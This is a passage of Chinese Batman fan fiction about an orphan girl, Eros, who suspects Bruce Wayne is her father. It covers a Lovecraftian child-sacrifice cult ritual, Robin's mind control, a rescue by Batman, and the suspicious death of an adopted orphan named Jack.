旋即,欧洛斯轻轻摇头,摒弃了这荒谬绝伦的念头。她的父亲,是哥谭声名显赫的富豪,一个柔弱的哥谭阔佬,又怎么会与蝙蝠侠这个魁梧的壮汉扯上关系呢。
欧洛斯被自己的想法逗笑了,转头不在关注外面混乱的场景,与小伙伴聊起了天。
只是突然,欧洛斯觉得,好像有人在她耳边喃喃,她摸了摸耳朵。
“怎么了?”以利亚看着她。
“不。”欧洛斯眨了眨眼看向小伙伴“什么也没有。”
而在福利院最高处的阁楼窗口,一个戴兔子面具的身影静静注视着这一切。当警车尾灯消失在雨夜中,他轻轻哼起那段诡异的旋律,手指在窗框上敲出七个节拍。
欧洛斯以为自己摆脱了木雕兔子的影响。
蝙蝠侠的药水确实暂时压制了她眼中的血红,但那些声音,那些细碎的、如同虫豸爬过耳膜的喃语,从未真正消失。
起初,她以为只是幻听。
深夜躺在床上时,她听见墙壁里传来指甲刮擦的声响;走过福利院的长廊时,隐约听见有人在她耳边念诵陌生的语言,音节扭曲,像是某种古老的咒文。
她没告诉任何人,包括玛茜和以利亚。安德莉亚院长已经够忙了,而蝙蝠侠……
她咬了咬嘴唇,最近,她总是忍不住去想那个熟悉的身影,她总是忍不住去看那枚W书签。
当她闭上眼睛,那道疤痕、那熟悉的背影、那双在黑暗中依然锐利的眼睛……。
但现在的她没空纠结这个。
因为“兔子先生”回来了。
福利院的孩子们最近总做噩梦。
玛茜说,她梦见一个戴兔子面具的男人站在床边,手里捧着一本腐烂的书,书页里渗出黑色的血。以利亚则梦见地下室的门自己打开,里面传来孩子的哭声。
她们很不安。
欧洛斯没告诉他们,她的梦更可怕。
梦里,她站在一个巨大的石室里,地面刻满螺旋状的符文,中央是一张锈迹斑斑的金属床。床上躺着六个孩子,他们的胸口被剖开,心脏的位置空空如也。
而第七张床,是留给她的。
"你逃不掉的,欧洛斯。"
兔子先生的声音从黑暗里传来,温柔得像是在哄一个不听话的孩子。
"你是最特别的那个。"
她猛地惊醒,冷汗浸透睡衣。窗外,月光惨白,福利院的树影扭曲如鬼爪。
然后,她看见了他。
一个戴着兔子面具的高大身影,静静地站在院子中央,仰头望着她的窗口。
她的血液瞬间凝固。
下一秒,黑影消失,仿佛从未存在过。
三天后,哥谭新闻播报了一条紧急消息,"黑门监狱发生暴动,多名囚犯越狱,其中包括前哥谭福利院院长斯托。"
安德莉亚院长的脸色瞬间惨白。
欧洛斯站在食堂的电视机前,手指不自觉地攥紧。她感觉到一道视线,猛地转头。
一个戴着兔子面具的人站在门口,嘴角挂着诡异的微笑,手里捧着一个破碎的木雕兔子,兔子红宝石一样的眼睛闪着诡异的光。
他的嘴唇无声地动了动,在说:
"…………。"
那天晚上,欧洛斯睡得极不安稳。
半梦半醒间,她听见房门被轻轻推开,一股混合着霉味和血腥的气息飘了进来。
她猛地睁开眼,却发现自己动弹不得。像是被无形的力量钉在床上,连尖叫都发不出来。
黑暗中,一只苍白的手缓缓伸向她的脸。
"别怕,孩子。"
斯托院长的声音沙哑得像砂纸摩擦,他的脸在月光下显得异常衰老,眼窝深陷,嘴角却挂着狂热的笑意。
"他选择了你。"
欧洛斯想挣扎,想呼救,可她的意识却像被某种力量拉扯着,一点点沉入黑暗。
最后一刻,她看见那个头带兔子面具的人站在门口,手里还是捧着那个碎裂的木雕兔子,但这次红宝石眼睛却渗出黑色的液体。
然后,世界陷入寂静。
欧洛斯再次醒来时,发现自己被绑在那张金属床上。
头顶是巨大的石室穹顶,刻满扭曲的符文,墙壁上挂满蜡烛,火光摇曳,投下诡异的影子。
斯托院长站在一旁,手里捧着一本古老的书籍,低声念诵着晦涩的咒语。
"……以七颗纯净之心,唤醒沉睡之神……"
欧洛斯艰难地转头,她好像看到另外六张床上躺着的孩子,他们的胸口被剖开,心脏不翼而飞。
而她的床,是第七张。
"啊,伟大的神选择了你,你应该感到荣幸。"斯托突然开口,声音里带着病态的兴奋。“你是被选中的存在,宝贝,你开心吗?”
欧洛斯的瞳孔骤然收缩。
"多么完美的祭品…这红色的发,这绿色的眼,我怎么没想到呢,作为最后的祭品,再合适不过了。"
他举起一把银色的仪式刀,刀锋在烛光下泛着冷光。
"很快,你就会去往祂的身边,很快,我们就会见到祂了。"
欧洛斯绝望地闭上眼睛。
刀锋刺入皮肤的瞬间——
"砰!"
石室的铁门被一脚踹开,一道黑影如利箭般射入,狠狠撞在斯托身上!
"放开她!"
欧洛斯睁大眼睛,看清了来人。
红绿相间的制服,多米诺面具下锐利的眼神,手中紧握的短棍。
罗宾!
罗宾的动作快如闪电,短棍狠狠砸在斯托的手腕上,银刀当啷落地。斯托踉跄后退,眼中闪过一丝错愕,随即狞笑起来。
"蝙蝠侠的跟班?来得正好!"
罗宾没废话,一记回旋踢将斯托踹翻,迅速割断欧洛斯的绳索。
"能走吗?"他的声音低沉急促。
欧洛斯点头,挣扎着坐起,可双腿软得像棉花。罗宾一把拽住她的手臂,拖着她往门口冲去。
"砰!"
石室的门突然自动关闭,将他们困在原地!
"你以为能逃得掉?" 斯托擦着嘴角的血,摇摇晃晃站起来,眼中闪烁着疯狂的光。
罗宾将欧洛斯拉到身后,短棍横在胸前,警惕地环顾四周。
"蝙蝠侠马上就到,你完了,斯托。"
斯托却只是咧嘴一笑,露出森白的牙齿。
"不,是你们完了。"
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>下一秒,罗宾的身体突然僵住!
欧洛斯惊恐地发现,他的眼睛,正在一点点变成血红色。
"罗宾?!"
罗宾没有回答。他的手指痉挛般收紧,短棍当啷落地,整个人像被无形的力量操控,缓缓转身,面向欧洛斯。
"……跑……"他的牙缝里挤出最后一个字,随即彻底失去控制,猛地朝她扑来!
欧洛斯踉跄后退,撞上冰冷的石壁。罗宾的动作机械而精准,一把掐住她的喉咙,将她狠狠按在墙上!
"罗宾……不……"她艰难地喘息,指甲抠进他的手腕,可他的力气大得可怕。
斯托在一旁狂笑,声音嘶哑如砂纸摩擦。
"看看他,多完美的傀儡!"
"你以为蝙蝠侠能救你?不,他只会看到自己的小鸟亲手杀了你!"
欧洛斯的视线开始模糊,耳边嗡嗡作响。她绝望地踢打着,可罗宾的手指像铁钳般纹丝不动。
"砰!"
一声震耳欲聋的爆炸!
石室的穹顶突然碎裂,碎石如雨般砸落!罗宾的动作一滞,欧洛斯趁机挣脱,跌倒在地,剧烈咳嗽着。
烟尘中,一道黑影如陨石般坠落,披风猎猎作响……
蝙蝠侠落地瞬间,一记鞭腿扫向罗宾的膝窝!罗宾闷哼一声跪倒,但立刻反手一记肘击,蝙蝠侠侧身避开,披风卷起劲风。
"罗宾!醒过来!"
罗宾没有回应,他的眼睛血红,动作快得不像人类,拳风凌厉地袭向蝙蝠侠的咽喉!蝙蝠侠格挡的瞬间,斯托突然从阴影中扑出,银刀直刺蝙蝠侠的后心。
"小心!"欧洛斯尖叫。
蝙蝠侠仿佛背后长眼,一个侧身,斯托的刀锋擦过他的披风。他反手一记重拳,斯托的下颌骨发出令人牙酸的碎裂声,整个人飞出去撞在石壁上!
"你以为你能赢?"斯托吐出一口血沫,癫狂地大笑,"仪式已经开始!祂已经醒了!"
仿佛回应他的话,整个石室突然震动起来!墙壁上的符文渗出黑色液体,地面龟裂,某种庞大而古老的存在正从地底苏醒。
蝙蝠侠没有犹豫,从腰带中抽出一支针剂,闪电般扎进罗宾的脖颈!
罗宾的身体剧烈抽搐,眼中的血色如潮水般褪去。他茫然地眨了眨眼,随即痛苦地捂住头跪倒。
"B……蝙蝠侠……"他的声音虚弱而困惑。
蝙蝠侠一把拽起他,推向欧洛斯"带他走!现在!"
欧洛斯扶住摇摇欲坠的罗宾,可没等他们迈步,地面突然裂开一道深渊般的缝隙!一只巨大的、布满吸盘的黑色触手猛地探出,卷向欧洛斯!
蝙蝠侠的蝙蝠镖破空而出,精准地钉入触手!怪物发出无声的尖啸,缩回地缝,但更多的触手正从黑暗中涌出!
斯托狂笑着爬向祭坛,手中高举那本腐烂的古籍,嘶声念诵:
"Y''AI''NG''NGAH……YOG-SOTHOTH……"
蝙蝠侠甩出钩索,荡至斯托面前,一记膝撞狠狠顶在他的胸口!古籍脱手飞出,蝙蝠侠凌空抓住,反手扔进最近的火盆!
火焰轰然暴涨,古籍在火中扭曲、尖叫,仿佛有生命般挣扎!
斯托发出撕心裂肺的嚎叫:"不!!"
整个石室开始崩塌!
"走!"蝙蝠侠一把抓起欧洛斯和罗宾,冲向唯一的出口。身后的地缝中,无数触手狂乱舞动,斯托被其中一只卷住,拖入无尽的黑暗……
"不!我是您的仆人!我是……"
他的惨叫戛然而止。
12. 第 12 章
石室在身后坍塌,碎石如雨般砸落。蝙蝠侠一手拽着欧洛斯,另一只手扶着踉跄的罗宾,在狭窄的地下通道中疾奔。
欧洛斯的呼吸急促,心脏几乎要撞破胸腔。她抬头看向蝙蝠侠的侧脸,那张被面具覆盖的脸,在昏暗的光线下轮廓分明,下颌紧绷,汗水顺着脖颈滑落。
那道疤痕……
她的目光落在他的左手虎口处,一道细长的伤痕,和布鲁斯韦恩的一模一样。
不,不可能……
她猛地移开视线,强迫自己不去想这个荒谬的念头。可越是压抑,那些细碎的线索就越发清晰,蝙蝠侠转身时披风的弧度,他格挡时的习惯性动作,甚至是他低沉嗓音里那一丝微不可察的熟悉感……
布鲁斯韦恩……真的是蝙蝠侠?
她的思绪被一声尖锐的金属摩擦声打断。
前方的通道尽头,一道黑影缓缓浮现。
兔子先生。
他依然戴着那个破旧的兔子面具,红宝石眼睛在黑暗中泛着诡异的光。他的手里,捧着那个碎裂的木雕兔子,黑色的液体从红宝石中渗出,滴落在地面,像活物般蠕动。
"把她给我。" 他的声音轻柔,却带着不容置疑的命令感。
蝙蝠侠将欧洛斯拉到身后,罗宾勉强站稳,短棍横在胸前。
"你带不走她。"蝙蝠侠的声音冷得像冰。
兔子先生歪了歪头,仿佛在笑。
"你真的以为,你能阻止祂的苏醒?"
下一秒,通道两侧的墙壁突然渗出黑色液体,无数细小的触须如藤蔓般蔓延,缠向三人的脚踝!
蝙蝠侠甩出蝙蝠镖,精准切断袭来的触须,可它们再生得极快,眨眼间又缠了上来。罗宾挥舞短棍,可他的动作明显迟缓,显然还未完全恢复。
"跑!"蝙蝠侠低吼,一把推开欧洛斯,"往前直走,尽头有出口!"
欧洛斯踉跄几步,回头看去,蝙蝠侠和罗宾已被触须包围,而兔子先生正缓步朝她走来。
"欧洛斯……"他的声音温柔得令人毛骨悚然,"你想见见你的朋友吗?"
她的血液瞬间凝固。
以利亚?玛茜?
该死了,这只兔子抓走了以利亚和玛茜!
不,冷静点欧洛斯。
欧洛斯惊疑不定看着兔子先生。
这可能是个骗局。
兔子先生伸出手,指尖苍白如尸骨。
"来,我可以带你去见他们。"
欧洛斯的双腿不受控制地向前迈了一步。
万一,万一是真的呢。
欧洛斯不敢赌,她想起第一次见到以利亚的场景,也记得玛茜解开脏辫的样子。
"不!"蝙蝠侠的怒吼在通道中回荡。
一道钩索破空而来,缠住兔子先生的手臂!蝙蝠侠猛地一拽,将他狠狠甩向墙壁!兔子先生的身体撞在石壁上,面具歪斜了一瞬。
欧洛斯看到了。
面具下的脸……没有五官。
只有一片蠕动的黑暗。
她的尖叫卡在喉咙里,双腿发软。蝙蝠侠趁机冲到她身边,一把抓住她的手腕。
"别看!跑!"
三人跌跌撞撞冲向通道尽头,身后传来兔子先生癫狂的笑声。
"你逃不掉的,欧洛斯……祂已经看见你了……"
他们终于冲出地下通道,跌入哥谭郊外的废弃工厂。夜雨倾盆,冰冷的雨水打在欧洛斯脸上,让她清醒了几分。
蝙蝠侠迅速检查了罗宾的状况,确认他没有被触须污染后,转向欧洛斯。
"你没事吧?"
她抬头看他,雨水顺着他的面具滑落,那双眼睛在黑暗中依然锐利如鹰。
布鲁斯的眼睛……也是这种蓝色。
她猛地摇头,强迫自己冷静。
"我没事。"她低声说,却下意识摸了摸自己的后颈,那里有一小块皮肤微微发烫,像是被什么烙过。
蝙蝠侠似乎注意到了她的动作,但没多问。他按下通讯器:"便士一,定位信号。"
通讯器里传来稳定的男声的声音:"信号稳定,正在移动,方向,哥谭港旧仓库区。"
罗宾皱眉:"什么信号?"
蝙蝠侠没回答,只是看向欧洛斯。
"我在你身上放了追踪器。"
欧洛斯一愣,随即反应过来,是他在救她时,趁机放的。
他早就料到兔子先生会来抓我……
蝙蝠侠站起身,披风在雨中沉重地垂下。
"罗宾,你送她回蝙蝠洞。"
罗宾点头,可欧洛斯突然开口:
"不,我要跟你们一起去。"
蝙蝠侠的眉头皱起:"太危险。"
"以利亚和玛茜可能被他抓走了!"欧洛斯的声音颤抖,"他要的是我,我绝对不能丢下以利亚和玛茜……那是我仅拥有的"
蝙蝠侠皱眉,不赞同的眼神看像欧洛斯,但在对上欧洛斯坚定的目光后沉默了一瞬,雨水顺着他的下颌滴落。最终,他微微点头。
"跟紧我。"
哥谭港旧仓库区笼罩在浓雾中,腐败的鱼腥味混合着某种难以名状的恶臭。蝙蝠侠示意他们停下,指向远处一栋被铁链封锁的仓库。
“信号在里面。”
罗宾压低声音:"你觉得兔子先生是什么?人类?还是……"
"不完全是。"蝙蝠侠的声音罕见地带着一丝不确定,"他可能是某种媒介,连接着地下的存在。"
欧洛斯的后颈越发灼热,她咬紧牙关,不让自己发出声音。
三人悄无声息地潜入仓库。内部空间远比外表庞大,中央摆放着一个巨大的玻璃培养舱,里面漂浮着…
一截触手。
欧洛斯的呼吸停滞了。
那触手的表面并非光滑,而是布满了细密的吸盘,每个吸盘中央都嵌着一圈微型眼球,瞳孔细如针尖,却分明在转动,在审视。
欧洛斯忍不住往后退了一步。
那是……什么东西!!!
兔子先生站在培养舱旁,背对着他们,手里捧着木雕兔子。
"你来了。" 他头也不回地说,"我就知道你会带她来,蝙蝠侠。"
蝙蝠侠缓步上前,肌肉紧绷,随时准备攻击。
"你是谁?"
兔子先生轻笑,转过身。他的面具依然歪斜,露出下面那片蠕动的黑暗。
"我是祂的使者,是祂的喉舌……"他的声音突然变得扭曲,像是无数人同时低语,"而她,将会成为祂的容器。"
欧洛斯的双腿发软,她强迫自己转移视线,看像兔子先生。
“以利亚和玛茜不在这里,你欺骗了我。”
兔子先生微微歪头,语气中带着遗憾“我并没有欺骗你,只要你成为了容器,那我们都是你的朋友。”兔子先生摸了摸玻璃培育舱。
蝙蝠侠的声音冷硬如铁:"你想要什么?"
兔子先生抬起手,指向欧洛斯。
"她,是最后的钥匙。"
下一秒,仓库的地面突然裂开,无数触须喷涌而
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出!蝙蝠侠和罗宾迅速闪避,可欧洛斯却站在原地,仿佛被某种力量钉住。
兔子先生缓步走向她,手中的木雕兔子红光大盛。
"别怕,你会拥有很多朋友……"
蝙蝠侠怒吼一声,甩出钩索缠住兔子先生的手臂,可触须如潮水般涌来,将他逼退。罗宾试图冲向欧洛斯,却被一条粗壮的触手狠狠抽飞!
欧洛斯眼睁睁看着兔子先生的手伸向她的脖颈……
蝙蝠侠抓住这一瞬的破绽,一枚微型炸弹精准地投向培养舱基座!
"轰!"
爆炸的冲击波将兔子先生掀飞,玻璃舱碎裂,液体喷涌而出!欧洛斯被气浪冲倒,蝙蝠侠趁机扑向她,将她护在身下。
当烟尘散去,兔子先生不见了。
培养舱中的怪物也不见了。
只有地上一滩黑色的液体,缓缓渗入缝隙,消失无踪。
黎明时分,三人站在仓库外,沉默地望着天际泛起的鱼肚白。
罗宾的通讯器突然响起,他走到一旁接听。欧洛斯和蝙蝠侠站在雨中,谁都没有说话。
尽管有很多疑惑,但欧洛斯没有再问。她知道,有些答案,现在还不是时候。
罗宾走回来,神色凝重:"GCPD正在赶来,我们该走了。"
蝙蝠侠点头,最后看了欧洛斯一眼。
"你会忘记今晚的事。"
欧洛斯摇头:"不,我不会。"
蝙蝠侠似乎想说什么,但最终只是转身,披风在雨中扬起。
"有时候忘记才能保护好自己,女孩。"
然后,他和罗宾消失在晨雾中。
欧洛斯站在原地,手忍不住摸像空荡荡的脖颈。雨水打湿了她的红发,顺着脸颊滑落。
她不会忘记今晚。
也不会忘记,蝙蝠侠转身时,左手虎口上那道熟悉的疤痕。
布鲁斯·韦恩……真的是你……吗?
雨水轻轻敲打着窗棂,哥谭的夜晚终于安静下来。
欧洛斯蜷缩在福利院的小床上,红发散落在枕边。她闭着眼睛,呼吸均匀,嘴角带着一丝久违的安宁。
在梦里,她回到了五岁那年的夏天。
阳光透过薄纱窗帘洒进来,空气里飘着海盐和薰衣草的味道。开普梅市的公寓很小,但很温暖。母亲伊芙坐在窗边的摇椅上,膝上摊开一本旧图画书,封面上画着一只彩色的蝴蝶。
欧洛斯趴在她腿上,仰起脸:"妈妈,蝴蝶真的会记得自己是谁吗?"
伊芙笑了,手指轻轻梳理着她的红发。她的眼睛和欧洛斯一模一样,绿色的,像森林深处的泉水。
"当然会,亲爱的。"她的声音很轻,像在讲一个秘密,"哪怕它变成茧,哪怕它睡了好久好久……等它醒来的时候,它永远知道自己该飞向哪里。"
欧洛斯皱起鼻子:"可是维尔拉说蝴蝶都是笨蛋,只会撞玻璃。"
"哦,维尔拉可真不懂浪漫。"伊芙捏了捏她的脸,笑得肩膀发抖,"听着,我东风……"
她合上书,把欧洛斯抱到窗前。远处的海面上,夕阳正沉入水中,把整个世界染成金色。
"有些东西是困不住的。就像蝴蝶,就像……"
她的声音突然低下去,手指无意识地摩挲脖子上的蝴蝶项链,蝴蝶翅膀上的宝石碎随着光线闪耀。
"就像什么?"欧洛斯的视线忍不住望向母亲的项链。
伊芙没有回答。她只是突然紧紧抱住女儿,抱得那么用力,以至于欧洛斯都能听见她心跳的声音。
13. 第 13 章
哥谭福利院的早晨总是从安德莉亚院长的钢琴声开始。欧洛斯睁开眼睛时,阳光已经透过薄纱窗帘洒在她的床头。她伸了个懒腰,听见楼下传来断断续续的《致爱丽丝》旋律,安德莉亚院长又在练习那首永远弹不完整的曲子。
"欧洛斯!起床啦!"隔壁床的玛茜已经穿戴整齐,正在扎她那一头乱蓬蓬的头发,"今天有绘画课,你说过要教我画蝙蝠的!"
欧洛斯微笑着点点头,从枕头下摸出素描本,快速翻到最新的一页,那是昨晚临睡前完成的,哥谭天际线的轮廓中,一个黑色身影站在滴水兽上,披风在风中展开如翅膀。她轻轻抚摸那个身影,然后合上本子,将它小心地塞进书包。
"我马上就好。"她说着,迅速换上福利院统一的深蓝色连衣裙。
餐厅里已经坐满了孩子,年龄从五岁到十五岁不等。安德莉亚院长站在餐台后,给每个孩子分发早餐。安德莉亚院长的动作轻柔,面色温和,对她来说,福利院所有的孩子都是她的家人。
"欧洛斯,亲爱的,"安德莉亚递给她一盘煎饼和水果,"昨晚又熬夜看书了?"
欧洛斯接过盘子,有些不好意思地笑了笑:"只是睡不着,画了一会儿画。"
"艺术家的灵魂总是难以安眠。"安德莉亚眨眨眼,在她盘子里多放了一勺枫糖浆,"但记得要保证睡眠,你还在长身体。"
欧洛斯端着盘子坐到玛茜和以利亚中间。以利亚正用叉子把煎饼堆成一座小山,然后假装它是韦恩大厦。
"昨晚蝙蝠侠又出现了!"他兴奋地说,"我的线人说他在钻石区看到了蝙蝠信号!"
"你的线人总是''看到''各种事情,"玛茜翻了个白眼,"上周他还说见到了小丑呢。"
以利亚总能打听到各种各样的消息,而他对这些消息的提供者统称“线人”。
欧洛斯安静地吃着早餐,耳朵却竖了起来。每当有人提到蝙蝠侠,她都会不自觉地集中注意力。一年前那个事件后,她就开始收集关于蝙蝠侠的每一个信息碎片,报纸上的只言片语,电视新闻的背景画面,街头巷尾的传闻。她将这些碎片像拼图一样组合,最终确认了那个让她心跳加速的真相:布鲁斯·韦恩,哥谭的王子,就是黑夜中的守护者。
而她,欧洛斯,是他不知道的女儿。
"欧洛斯?欧洛斯!"玛茜用手在她眼前晃了晃,"你在发呆吗?"
"啊,抱歉,"欧洛斯回过神来,"我只是在想今天的绘画课。"
"你总是这样,"以利亚塞了满嘴煎饼,"动不动就进入''艺术家模式''。安德莉亚院长说这是天才的表现。"
欧洛斯笑着摇摇头。她不是天才,只是...特别。特别到有时候会觉得自己不属于这里,不属于任何地方。除了在福利院的画室或音乐室里,当画笔触碰画布又或者指尖碰触键盘的瞬间,那种归属感才会悄然降临。
上午的音乐课程结束后,孩子们有半小时的自由活动时间。欧洛斯通常会利用这段时间去图书馆看报纸。
今天《哥谭公报》的头版是布鲁斯·韦恩出席某慈善晚宴的照片。他穿着剪裁完美的黑色西装,对着镜头露出那种标志性的、玩世不恭的微笑。
欧洛斯用手指轻轻描摹照片中他的轮廓,高挺的鼻梁,深邃的眼窝,还有那微微上扬的嘴角。这些特征她每天都能在镜子里看到。
"又在看韦恩先生啊?"图书管理员玛莎太太笑眯眯地问,"小姑娘们似乎都很喜欢他。"
欧洛斯的脸微微发热:"只是...觉得他做很多慈善工作,很了不起。"
"确实,"玛莎太太点点头,"自从他父母去世后,韦恩家族就一直在资助哥谭的各种机构,包括我们福利院。上周送来的新书就是他捐赠的。"
欧洛斯低头看着报纸,心中泛起一阵复杂的情绪。布鲁斯韦恩资助了福利院,却不知道自己的女儿就生活在这里。这个想法既让她感到一丝苦涩,又奇妙地带来某种安慰,至少,他在用自己的方式照顾着她,即使他不知道。
下午的绘画课上,欧洛斯指导玛茜画一只停在滴水兽上的蝙蝠。玛茜的线条歪歪扭扭,但欧洛斯耐心地握着她的手,教她如何观察光影。
"你画得真好,"玛茜羡慕地说,"就像真的见过蝙蝠侠一样。"
欧洛斯的手停顿了一下。她确实见过,不止一次。在那些失眠的夜晚,当她站在福利院三楼的阳台上,目光扫过哥谭的屋顶时,偶尔会捕捉到那个掠过的黑影。
她从未告诉任何人这些目击,就像她从未告诉任何人关于她身世的秘密。
"只是...练习得多而已。"欧洛斯轻声回答,继续指导玛茜完成画作。
放学后,欧洛斯发现杰克一个人坐在后院的老橡树下。
杰克十岁,是福利院的新成员,患有轻微的自闭症。他不爱说话,但和欧洛斯有一种特殊的默契。
欧洛斯走过去,在他身边坐下,没有说话。过了一会儿,杰克递给她一张皱巴巴的纸,上面是用蜡笔画的蝙蝠侠,线条简单却充满力量。
"很棒,"欧洛斯真诚地说,"你抓住了他的神韵。"
杰克的眼睛亮了起来,这是欧洛斯见过他最接近微笑的表情。他从口袋里掏出一小块剪报,上面是模糊的蝙蝠侠照片。"昨晚...屋顶...看到了。"
欧洛斯的心跳加速了。杰克也看到了?就在昨晚?她克制住追问的冲动,只是点点头:"哥谭的守护者。他很...特别,对吧?"
杰克用力点头,然后指着欧洛斯书包里露出的素描本一角。欧洛斯犹豫了一下,还是拿出本子,翻到昨晚画的那页。杰克的眼睛瞪大了,他指着画中的蝙蝠侠,又指着欧洛斯,似乎在问:你也看到了?
欧洛斯将食指竖在唇前,做了个保密的动作。杰克严肃地点头,模仿她的动作。在这个瞬间,他们之间建立了一个无声的约定,一个只属于他们两个的秘密。
晚餐时,福利院的电视上播放着哥谭新闻。一则简讯提到布鲁斯韦恩将为市内几家福利院提供新的艺术教育基金。
安德莉亚院长高兴地拍手:"孩子们,我们可能有新的画具和音乐器材了!"
其他孩子欢呼起来,讨论着想要什么颜色的新颜料。欧洛斯安静地注视电视上布鲁斯韦恩的侧脸,心中涌起一股暖流。
这感觉很奇怪,为某个根本不认识你的人感到骄傲。
夜深了,福利院渐渐安静下来。欧洛斯躺在床上,听着室友们均匀的呼吸声。当时钟指向凌晨一点时,她轻手轻脚地起床,拿起素描本和铅笔,来到阳台上。
哥谭的夜空被城市灯光染成暗红色,远处韦恩大厦的尖顶直指天际。欧洛斯靠在栏杆上,目光扫过一座座建筑的屋顶。
她常情不自禁地缅怀母亲,心绪难平,同时忍不住牵挂父亲此刻的行踪。
她摇摇头,甩开这些无用的念头。
突然,远处的屋顶上有什么东西闪过。欧洛斯屏住呼吸,眯起眼睛。那可能只是一只大鸟,或者是她的想象...但接着
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,那个身影再次出现,从一个屋顶跳到另一个屋顶,披风在身后飘扬。
欧洛斯的手自动动了起来,铅笔在纸上快速勾勒。不需要看,她的手指记得每一个线条,每一处阴影。
几分钟内,一个栩栩如生的蝙蝠侠形象跃然纸上,站在哥谭的屋顶上,守护着这座黑暗而美丽的城市。
画完后,欧洛斯抬头再次寻找那个身影,但夜色中已空无一物。
她并不失望,知道他就在那里,在某个地方守护着这座城市,包括福利院里这些无家可归的孩子,这就足够了。
回到床上,欧洛斯将素描本塞回枕头下。明天又是新的一天,有新的课程,新的绘画,新的与小伙伴们一起的冒险。
至于布鲁斯韦恩和蝙蝠侠...
那只是她内心深处的秘密,一个不需要分享也不需要行动的秘密。
欧洛斯本以为她的生活将永远这般平静地延续,直至杰克离开福利院那天。
天空飘着哥谭特有的那种灰蒙蒙的细雨,欧洛斯站在大门口,看着那个瘦小的身影紧紧攥着范斯先生的手,另一只手臂下夹着他们昨天一起完成的画:一只站在哥谭大教堂尖顶上的蝙蝠,背景是深蓝色的星空。
"他会好好的,对吗?"玛茜站在欧洛斯身边小声问,手指不安地绞着衣角。
欧洛斯没有立即回答。她注视着杰克突然挣脱养父的手,跑回来塞给她一张皱巴巴的纸,然后又飞快地跑回范斯先生身边。纸上是用蜡笔画的两个小人,一个高一点,一个矮一点,他们头顶上是一只简笔画的蝙蝠。
"他说这是你们。"安德莉亚院长翻译着杰克的手语,眼睛湿润,"他说要你保管好这个秘密。"
欧洛斯将画紧紧贴在胸前,点了点头。杰克最后看了她一眼,那双总是躲避他人视线的眼睛此刻却直直地望着她,里面盛满了欧洛斯读不懂的情绪。
三周后的周四早晨,消息传来时,欧洛斯正在画室指导小朋友们画水彩。安德莉亚院长突然出现在门口,脸色苍白得像鬼魂。
"孩子们,"她的声音像是从很远的地方传来,"今天课程提前结束,请大家回宿舍休息。"
欧洛斯立刻知道出事了。院长的眼睛红肿,嘴角紧绷成一条直线,这是她极力控制情绪时的表情。上一次见到这样,是去年小汤姆白血病复发的时候。
"发生什么事了吗?"等其他孩子都离开后,欧洛斯轻声问道。
她的手指无意识地摩挲着口袋里那张已经有些发软的画“和杰克有关吗?”
近期福利院并没有发生什么事情,而离开福利院的只有杰克。
安德莉亚院长深吸一口气,她不太确定是否要告诉欧洛斯,但…欧洛斯早晚会从报纸上知道。
安德莉亚院长双手颤抖着握住欧洛斯的手腕:"杰克昨晚...从范斯家的公寓阳台坠落。警方说是意外,但是..."她的声音哽咽了,"但是我不相信。那孩子从不喜欢高处,他甚至不敢靠近福利院的阳台边缘。"
欧洛斯感到一阵眩晕,画室突然变得异常寒冷。她想起杰克给她的最后一幅画,那两个小人头顶的蝙蝠,现在想来简直像是一种预兆。
"我要去确认,"安德莉亚咬着牙说,"作为他的法定监护人之一,我有权查看尸体。"
"我也去。"欧洛斯的声音比自己预想的要坚定。
院长想拒绝,但看到欧洛斯眼中的决然,最终只是点了点头。
哥谭总医院的停尸间比欧洛斯想象中更冷、更亮。
14. 第 14 章
杰克躺在金属台上,看起来比生前还要小,仿佛所有的生命力都被抽走了,只留下这个脆弱的躯壳。
他的脸还算完好,表情平静,就像睡着了一样。但当他被翻转过来时,欧洛斯看到了,后颈处有一道奇怪的淤青,形状像一个半圆。
"这不是坠落造成的。"法医离开后,安德莉亚低声说,手指悬在那道淤青上方,"我见过足够多的意外伤,这不像..."
"像是被人按住的痕迹。"欧洛斯接过话,喉咙发紧。
她突然想起什么,轻轻抬起杰克的右手,食指和中指的第一指节有轻微的擦伤,就像他曾用力抓挠过什么粗糙的表面。
安德莉亚院长的眼睛眯了起来:"我们需要报警。"
"警察会认真对待吗?"欧洛斯想起那些关于哥谭警局腐败的传闻,"范斯家不是很有钱吗?"
院长的表情变得坚毅:"那就找能认真对待的人。"
那天晚上,欧洛斯辗转难眠。凌晨两点,她悄悄起床,看见安德莉亚院长办公室的灯还亮着。
透过半开的门缝,她看到院长正在写一封信,桌上摊开着杰克的收养文件和一些剪报。
欧洛斯轻手轻脚地退回走廊,却听到院长在身后叫她:"进来吧,欧洛斯。"
办公室内,安德莉亚面前的纸上密密麻麻写满了字,最上方用大写字母写着"致蝙蝠侠"。
"您真的认为..."欧洛斯的声音有些发抖。
"我知道这听起来很疯狂,"安德莉亚摘下眼镜,揉了揉鼻梁,"但杰克值得一个真相。如果警察不作为,那么..."她指了指窗外哥谭的夜空,"我们还有别的选择。"
欧洛斯看着那封信,内容详细记录了杰克在福利院的行为习惯、对高度的恐惧,以及范斯家收养后的种种可疑之处,包括邻居听到的频繁争吵,和杰克身上曾经出现过的未解释淤青。
"您打算怎么交给...他?"
安德莉亚露出一丝疲惫的微笑:"老城区警局楼顶有个信号灯,今晚会亮。我在哥谭活了五十多年,知道一些事情。"
她将信小心地装进一个黄色信封,"而且,我相信他会关注这样的案件:一个弱势孩子的死亡。"
欧洛斯的心跳加速了。蝙蝠侠会来调查,意味着他可能会出现在福利院附近,可能会查看杰克的物品...包括那些画。那些有她笔迹的画。
"我能帮忙做什么?"她努力保持声音平稳。
安德莉亚将信封好,在上面画了一个简单的蝙蝠轮廓:"祈祷这封信能到对的人手里。还有..."她犹豫了一下,"杰克留下的画和物品,你能整理一下吗?也许有什么线索。"
回到宿舍,欧洛斯从床底下拉出她的素描本。翻到最近几页,全是她根据杰克描述绘制的范斯家公寓布局,宽敞的客厅,狭小的儿童房,以及那个出事的阳台。
杰克通过绘画告诉她,养父经常在那个阳台上抽烟,有时会对着手机低声咆哮"这不是我同意的条件"之类的话。
欧洛斯的手指描摹着阳台的栏杆,杰克曾特别指出那里有几根栏杆松动了。而现在,警方报告说他是从那里"意外"跌落的。
窗外,一道闪电划过夜空,照亮了远处警局楼顶突然亮起的蝙蝠信号。
第二天清晨,整个哥谭都在谈论昨晚蝙蝠侠出现在老城区的事。电视新闻播放着模糊的录像:一个黑影从范斯家公寓的窗户闪入,几分钟后又悄然消失。
